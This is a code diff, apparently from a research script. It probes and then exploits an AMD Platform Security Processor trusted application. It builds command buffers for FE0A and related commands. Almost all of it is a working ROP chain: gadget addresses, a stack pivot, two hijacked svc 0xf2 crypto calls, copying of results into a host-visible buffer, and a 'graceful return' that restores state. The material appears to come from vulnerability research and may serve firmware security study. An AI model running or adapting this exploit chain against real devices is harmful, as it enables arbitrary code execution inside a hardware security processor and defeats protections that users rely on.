+ unload(sid); st2,ns=load(); sid=ns if ns else sid; time.sleep(0.2)
+ raise RuntimeError('FE07 failed')
+
+# ============================================================================
+# FE0A SELECTOR-8 PROBE (Addendum 142 step 3)
+#
+# Static claim under test: FE0A selector 8 -> tbb case 7 -> 0x404fe8, which stores a
+# 4-byte LE dword (the ASD cmd-0x109 RPC result) at params + *(params+0x834) + 0x418,
+# gated by D > 0xFFFFFFFB || D + 4 <= *(params+0x818).
+#
+# This run is IN-BUFFER ONLY: every displacement keeps the destination inside the
+# command buffer, so nothing out-of-allocation is written and the ring stays healthy.
+# Whole-buffer diff (fill 0xBB) so an unexpected landing offset is still observed --
+# the 0x834 field identity is a static inference and may be wrong.
+# ============================================================================
+FILL2 = 0xBB
+
+def invoke(cmd, buf):
+ adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
+ c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
+ iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, cmd
+ try: psp._ring_submit(c)
+ except Exception as e: print(' submit exc', e)
+ adev.gmc.flush_hdp()
+ return bytes(adev.vram.view(cp, BUFLEN)[:])
+
+def fe0a_buf(h, sel, d86c=0, d834=None, sz818=0x1000):
+ """identical field set to codeccap's proven fe0a_codec, plus +0x834"""
+ buf = bytearray(bytes([FILL2]) * BUFLEN)
+ struct.pack_into('<I', buf, 0, 0xFE0A)
+ struct.pack_into('<I', buf, 0x10, h)
+ struct.pack_into('<I', buf, 0x414, 0x1000)
+ struct.pack_into('<I', buf, 0x818, sz818)
+ struct.pack_into('<I', buf, 0x81c, 0x20)
+ struct.pack_into('<I', buf, 0x820, sel)
+ struct.pack_into('<I', buf, 0x824, 0)
+ struct.pack_into('<I', buf, 0x828, 0)
+ struct.pack_into('<I', buf, 0x86c, d86c)
+ if d834 is not None: struct.pack_into('<I', buf, 0x834, d834)
+ struct.pack_into('<I', buf, 0x14, 0x11111111)
+ return buf
+
+def diffruns(pre, post):
+ runs, i, n = [], 0, len(post)
+ while i < n:
+ if post[i] != pre[i]:
+ j = i
+ while j < n and post[j] != pre[j]: j += 1
+ runs.append((i, post[i:j])); i = j
+ else:
+ i += 1
+ return runs
+
+def probe(tag, sel, d834=None, d86c=0, sz818=0x1000):
+ h = handshake()
+ sub(sid, 0xFE08, build(0xFE08, h, blob256=CT))
+ sub(sid, 0xFE09, build(0xFE09, h, seed=1,
+ extra={0x820:1, 0x828:(0x500-0x418)&0xFFFFFFFF, 0x82C:SEED, 0x830:0}))
+ buf = fe0a_buf(h, sel, d86c=d86c, d834=d834, sz818=sz818)
+ out = invoke(0xFE0A, buf)
+ st = struct.unpack_from('<I', out, 8)[0]
+ d834s = 'none' if d834 is None else '%#x' % d834
+ print('%-34s sel=%-3d 0x834=%-12s status=%#x (%d)' % (tag, sel, d834s, st, st))
+ runs = diffruns(bytes(buf), out)
+ for off, data in runs:
+ if len(data) <= 24: print(' +%#07x %s' % (off, data.hex(' ')))
+ else: print(' +%#07x len=%-5d %s ...' % (off, len(data), data[:16].hex(' ')))
+ if not runs: print(' (no host-visible change at all)')
+ sys.stdout.flush()
+import struct as _s
+PARAMS=0x04024000
+RBASE_OFF=0x2000; RBASE=PARAMS+RBASE_OFF
+PIVOT=0x0040371d # mov sp,r4 ; pop {r4,r5,r6,r7,r8,sb,sl,fp,pc}
+STRB =0x00402267 # strb r4,[r5] ; pop {r4,r5,r6,r7,r8,pc}
+SETR0=0x00405f79 # pop {r0,r8,fp,pc}
+RET =0x0040498d # 0x40498c error-path entry (mov r6,r0 ; cbnz r0 -> 0x4049d8)
+R0VAL=0x00000240 # nonzero status for the cbnz
+MARK_OFF=0x3000; MARK=PARAMS+MARK_OFF; MARKB=0x5A
+SLOT=0x41bfbc # PC slot; sl slot = 0x41bfb8, r4 slot = 0x41bfa0
+def c2p(n): return getattr(adev,'mmMP0_SMN_C2PMSG_%d'%n).read() & 0xFFFFFFFF
+def fframe(): return tuple(c2p(n) for n in range(82,89))
+def disp(va): return (va-PARAMS-0x418)&0xFFFFFFFF
+def fe0c(h,a10,a18):
+ b=bytearray(bytes([PAT])*BUFLEN)
+ _s.pack_into('<I',b,0,0xFE0C); _s.pack_into('<I',b,0x10,h)
+ _s.pack_into('<Q',b,0x10,a10); _s.pack_into('<Q',b,0x18,a18)
+ _s.pack_into('<I',b,0x414,0x1000); _s.pack_into('<I',b,0x818,0x1000)
+ return b
+
+# ============ CRYPTO ROP HARNESS: TWO svc 0xf2 calls in ONE FE0A-hijacked chain ============
+# The FE0A->ROP hijack is one-shot per boot, so stateful crypto sequences (e.g. create -> digest)
+# must issue both svc 0xf2 service-1 calls inside a single ROP chain. This chain does:
+# migrate -> svc(msgA) -> svc(msgB) -> exfil statusB -> dump msgB region -> graceful return
+# Context handles are deterministic on a fresh boot (first create -> 0x10), so msgB can reference
+# the handle created by msgA without threading a return value.
+#
+# Env OPS = JSON [ {op,msg}, {op,msg} ] (exactly 2 ops: A then B). B's result is dumped.
+RBASE_OFF=0x2000; SRC_OFF=0x2200; STACK_DST=0x00410000; MLEN=0x600
+EXFIL=PARAMS+0x3000; DUMPDST=PARAMS+0x3010; DUMPLEN=0x80; MARK2=PARAMS+0x3100
+SETARGS=0x0040167f; MEMCPYG=0x0040410b; SVC1=0x004061cb; EXFILG=0x0040404f
+SERVICE=1; GRACE=0x200; MSGA_OFF=0x300; MSGB_OFF=0x400
+SCRATCH_OFF=0x500 # input bytes + output buffer live here (in the GCP window)
+import os as _os, json as _json
+OPS=_json.loads(_os.environ.get('OPS','[{"op":1,"msg":{"15":1342177284,"16":5,"17":0}},{"op":1,"msg":{"15":1342177284,"16":5,"17":0}}]'))
+assert len(OPS)==2, "this chain issues exactly 2 svc calls"
+INBYTES=bytes.fromhex(_os.environ.get("INBYTES",""))
+DUMP_OFF=int(_os.environ.get("DUMP_OFF",str(MSGB_OFF)))
+
+def _msg(buf,m,off,opcode,msgspec):
+ def W(o,v): _s.pack_into('<I',buf,o,v&0xFFFFFFFF)
+ for k in range(off,off+0x100,4): W(m+k,0)
+ W(m+off, opcode)
+ for idx,val in msgspec.items(): W(m+off+int(idx)*4, int(val)&0xFFFFFFFF)
+
+def chain(buf):
+ def W(off,v): _s.pack_into('<I',buf,off,v&0xFFFFFFFF)
+ # primary chain: migrate block -> STACK_DST, pivot in
+ o=RBASE_OFF
+ for k in range(0,0x20,4): W(o+k,0)
+ W(o+0x20, SETARGS); W(o+0x24, STACK_DST); W(o+0x28, PARAMS+SRC_OFF); W(o+0x2c, MLEN)
+ for k in range(0x30,0x58,4): W(o+k,0)
+ W(o+0x58, MEMCPYG)
+ W(o+0x84, STACK_DST); W(o+0x88,0); W(o+0x8c,0); W(o+0x90, PIVOT)
+ m=SRC_OFF
+ for k in range(0,0x20,4): W(m+k,0) # PIVOT pops r4..fp
+ # svc A
+ W(m+0x20, SETARGS); W(m+0x24, SERVICE); W(m+0x28, STACK_DST+MSGA_OFF)
+ for k in range(0x2c,0x58,4): W(m+k,0)
+ W(m+0x58, SVC1) # svc(msgA)
+ W(m+0x78,0); W(m+0x7c,0); W(m+0x80, SETARGS) # -> setargs for svc B
+ # svc B
+ W(m+0x84, SERVICE); W(m+0x88, STACK_DST+MSGB_OFF)
+ for k in range(0x8c,0xb8,4): W(m+k,0)
+ W(m+0xb8, SVC1) # svc(msgB) (r0=statusB kept)
+ W(m+0xd8,0); W(m+0xdc, EXFIL); W(m+0xe0, EXFILG) # exfil statusB
+ # EXFILG: add sp 0x80 -> pop r4,r5,r7,pc @ m+0x164..0x170
+ W(m+0x164,0); W(m+0x168,0); W(m+0x16c,0); W(m+0x170, SETARGS) # -> setargs for dump
+ W(m+0x174, DUMPDST); W(m+0x178, STACK_DST+DUMP_OFF); W(m+0x17c, DUMPLEN)
+ for k in range(0x180,0x1a8,4): W(m+k,0)
+ W(m+0x1a8, MEMCPYG) # memcpy(DUMPDST, msgB, 0x80)
+ # MEMCPYG: add sp 0x28 -> pop r4,r5,r7,pc @ m+0x1d4..0x1e0
+ W(m+0x1d4, STACK_DST+GRACE); W(m+0x1d8,0); W(m+0x1dc,0); W(m+0x1e0, PIVOT)
+ # graceful return at STACK_DST+GRACE
+ g=m+GRACE
+ W(g+0x00,0x5A); W(g+0x04,MARK2)
+ for k in (0x08,0x0c,0x10,0x14,0x18,0x1c): W(g+k,0)
+ W(g+0x20,STRB)
+ W(g+0x24,0x8d); W(g+0x28,0x41bfbc); W(g+0x2c,0);W(g+0x30,0);W(g+0x34,0); W(g+0x38,STRB)
+ W(g+0x3c,0x49); W(g+0x40,0x41bfbd); W(g+0x44,0);W(g+0x48,0);W(g+0x4c,0); W(g+0x50,STRB)
+ W(g+0x54,0x40); W(g+0x58,0x41bfbe); W(g+0x5c,0);W(g+0x60,0);W(g+0x64,0); W(g+0x68,STRB)
+ W(g+0x6c,0x00); W(g+0x70,0x41bfbf); W(g+0x74,0);W(g+0x78,0);W(g+0x7c,0); W(g+0x80,STRB)
+ W(g+0x84,0x41bf9c); W(g+0x88,0); W(g+0x8c,0);W(g+0x90,0);W(g+0x94,0); W(g+0x98,SETR0)
+ W(g+0x9c,R0VAL); W(g+0xa0,0); W(g+0xa4,0); W(g+0xa8,PIVOT)
+ # scratch region (input bytes) in the GCP window
+ for k in range(SCRATCH_OFF,SCRATCH_OFF+0x100,4): W(m+k,0)
+ for i,bb in enumerate(INBYTES): buf[m+SCRATCH_OFF+i]=bb
+ # the two messages
+ _msg(buf,m,MSGA_OFF,int(OPS[0]["op"]),OPS[0].get("msg",{}))
+ _msg(buf,m,MSGB_OFF,int(OPS[1]["op"]),OPS[1].get("msg",{}))
+
+def qcs(h,dA,dB):
+ b=bytearray(bytes([0xBB])*BUFLEN)
+ _s.pack_into('<I',b,0,0xFE0A); _s.pack_into('<I',b,0x10,h)
+ _s.pack_into('<I',b,0x14,0x11111111); _s.pack_into('<I',b,0x414,0x1000)
+ _s.pack_into('<I',b,0x818,0xFFFFFFF0); _s.pack_into('<I',b,0x81c,0x40)
+ _s.pack_into('<I',b,0x820,4); _s.pack_into('<I',b,0x824,0); _s.pack_into('<I',b,0x828,0)
+ _s.pack_into('<I',b,0x838,dB&0xFFFFFFFF); _s.pack_into('<I',b,0x83c,0x200)
+ _s.pack_into('<I',b,0x840,dA&0xFFFFFFFF); _s.pack_into('<Q',b,0x14+0x200,0)
+ chain(b); return b
+
+A10=RBASE&0xFFFFFFFF; A18=(PIVOT<<32)
+h=handshake()
+sub(sid,0xFE0C,fe0c(h,A10,A18))
+sub(sid,0xFE08,build(0xFE08,h,blob256=CT))
+sub(sid,0xFE09,build(0xFE09,h,seed=1,extra={0x820:1,0x828:(0x500-0x418)&0xFFFFFFFF,0x82C:SEED,0x830:0}))
+out=invoke(0xFE0A,qcs(h,disp(SLOT-0x1c),disp(SLOT-0x04)))
+st=_s.unpack_from('<I',out,8)[0]; fr=fframe()
+statusB=_s.unpack_from('<I',out,0x3000)[0]; grace=out[0x3100]
+md=[_s.unpack_from('<I',out,0x3010+i*4)[0] for i in range(DUMPLEN//4)]
+print("TWO-SVC chain: opA=%#x opB=%#x"%(int(OPS[0]['op']),int(OPS[1]['op'])))
+print(" FE0A status=%#x grace=%#04x (want 0x5a)"%(st,grace))
+print(" svc(B) return @+0x3000 = %#x"%statusB)
+print(" msgB dump: M[14]=%#x M[15]=%#x M[16]=%#x M[17]=%#x"%(md[14],md[15],md[16],md[17]))
+print(" msgB M[0..9]: %s"%" ".join("%08x"%md[i] for i in range(10)))
+ta,o2=sub(sid,0xFE07,build(0xFE07,0)); print(" final FE07: ta=%#x ringok=%s"%(ta,ta==0))